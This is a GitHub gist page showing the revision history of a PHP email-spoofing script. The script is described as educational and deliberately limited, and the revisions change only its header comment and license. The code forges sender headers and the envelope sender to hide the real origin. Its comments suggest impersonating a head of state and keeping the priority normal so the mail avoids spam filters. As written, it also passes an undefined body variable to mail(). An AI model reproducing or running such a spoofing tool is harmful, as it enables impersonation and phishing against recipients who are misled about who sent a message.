Skip to content

Instantly share code, notes, and snippets.

@xpressyoo
Created February 19, 2012 01:23

Revisions

  1. Florian Bersier revised this gist Feb 19, 2012. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions email-spoofing.php
    Original file line number Diff line number Diff line change
    @@ -1,10 +1,10 @@
    <?
    /*************************************************************************
    /*
    Email Spoofing script (PHP). For Educational Purposes only.
    To note that capabilities of the script have been intentionally limited.
    This work is licensed under a MIT License. Copyright 2012 Florian Bersier
    **************************************************************************/
    */

    // Get posted data into local variables
    $EmailFrom = Trim(stripslashes($_POST['EmailFrom'])); // Your email, e.g. me@example.com
  2. Florian Bersier revised this gist Feb 19, 2012. 1 changed file with 3 additions and 4 deletions.
    7 changes: 3 additions & 4 deletions email-spoofing.php
    Original file line number Diff line number Diff line change
    @@ -1,11 +1,10 @@
    <?
    /*
    Author: Florian Bersier (github.com/xpressyoo)
    For Educational Purposes only.
    /*************************************************************************
    Email Spoofing script (PHP). For Educational Purposes only.
    To note that capabilities of the script have been intentionally limited.
    This work is licensed under a MIT License. Copyright 2012 Florian Bersier
    */
    **************************************************************************/

    // Get posted data into local variables
    $EmailFrom = Trim(stripslashes($_POST['EmailFrom'])); // Your email, e.g. me@example.com
  3. Florian Bersier revised this gist Feb 19, 2012. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion email-spoofing.php
    Original file line number Diff line number Diff line change
    @@ -4,7 +4,7 @@
    For Educational Purposes only.
    To note that capabilities of the script have been intentionally limited.
    This work is licensed under the Creative Commons Attribution 2.0 UK: England & Wales License. To view a copy of this license, visit http://creativecommons.org/licenses/by/2.0/uk/ or send a letter to Creative Commons, 444 Castro Street, Suite 900, Mountain View, California, 94041, USA.
    This work is licensed under a MIT License. Copyright 2012 Florian Bersier
    */

    // Get posted data into local variables
  4. Florian Bersier revised this gist Feb 19, 2012. 1 changed file with 3 additions and 2 deletions.
    5 changes: 3 additions & 2 deletions email-spoofing.php
    Original file line number Diff line number Diff line change
    @@ -1,7 +1,8 @@
    <?
    /*
    Author: github.com/xpressyoo
    For Educational Purposes only. Capabilities of the code below have been intentionally limited.
    Author: Florian Bersier (github.com/xpressyoo)
    For Educational Purposes only.
    To note that capabilities of the script have been intentionally limited.
    This work is licensed under the Creative Commons Attribution 2.0 UK: England & Wales License. To view a copy of this license, visit http://creativecommons.org/licenses/by/2.0/uk/ or send a letter to Creative Commons, 444 Castro Street, Suite 900, Mountain View, California, 94041, USA.
    */
  5. Florian Bersier renamed this gist Feb 19, 2012. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  6. Florian Bersier created this gist Feb 19, 2012.
    38 changes: 38 additions & 0 deletions email-spoofing
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,38 @@
    <?
    /*
    Author: github.com/xpressyoo
    For Educational Purposes only. Capabilities of the code below have been intentionally limited.

    This work is licensed under the Creative Commons Attribution 2.0 UK: England & Wales License. To view a copy of this license, visit http://creativecommons.org/licenses/by/2.0/uk/ or send a letter to Creative Commons, 444 Castro Street, Suite 900, Mountain View, California, 94041, USA.
    */

    // Get posted data into local variables
    $EmailFrom = Trim(stripslashes($_POST['EmailFrom'])); // Your email, e.g. me@example.com
    $EmailTo = Trim(stripslashes($_POST['EmailTo'])); // Recipient, e.g. email of your friend
    $FakeEmail = Trim(stripslashes($_POST['FakeEmail'])); // Fake email, e.g. sarkozy@elysee.fr
    $FakeDomain = Trim(stripslashes($_POST['domain'])); // Fake Domain, e.g. elysee.fr
    $Name = Trim(stripslashes($_POST['Name'])); // Your name
    $FakeName = Trim(stripslashes($_POST['FakeName'])); // Your fake name, e.g. Nicolas Sarkozy

    $Subject = Trim(stripslashes($_POST['Subject'])); // Subject of the email
    $Message = nl2br(Trim(stripslashes($_POST['Message']))); // Body of the email

    // Modify headers of the Email
    $FakeSender = "X-Sender: $FakeDomain";
    $FakeReturn = "Return-Path: $EmailFrom";
    $Fake = "From: $FakeName ";
    $Reply = "Reply-To: $EmailFrom";
    $BCC = "Bcc: $EmailFrom";
    $additional = "-f $FakeEmail"; // Hide the Mailed-by or Via
    $headers = 'MIME-Version: 1.0' . "\r\n";
    $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
    $headers .= $FakeSender. "\r\n";
    $headers .= "X-Priority: 3\r\n"; // Normal priority (3), urgent is often categorized as Spam
    $headers .= $Fake . "\r\n";
    $headers .= $Reply . "\r\n";
    $headers .= $BCC . "\r\n";
    $headers .= $FakeReturn . "\r\n";

    // Finally, Send Email
    mail($EmailTo, $Subject, $Body, $headers, $additional);
    ?>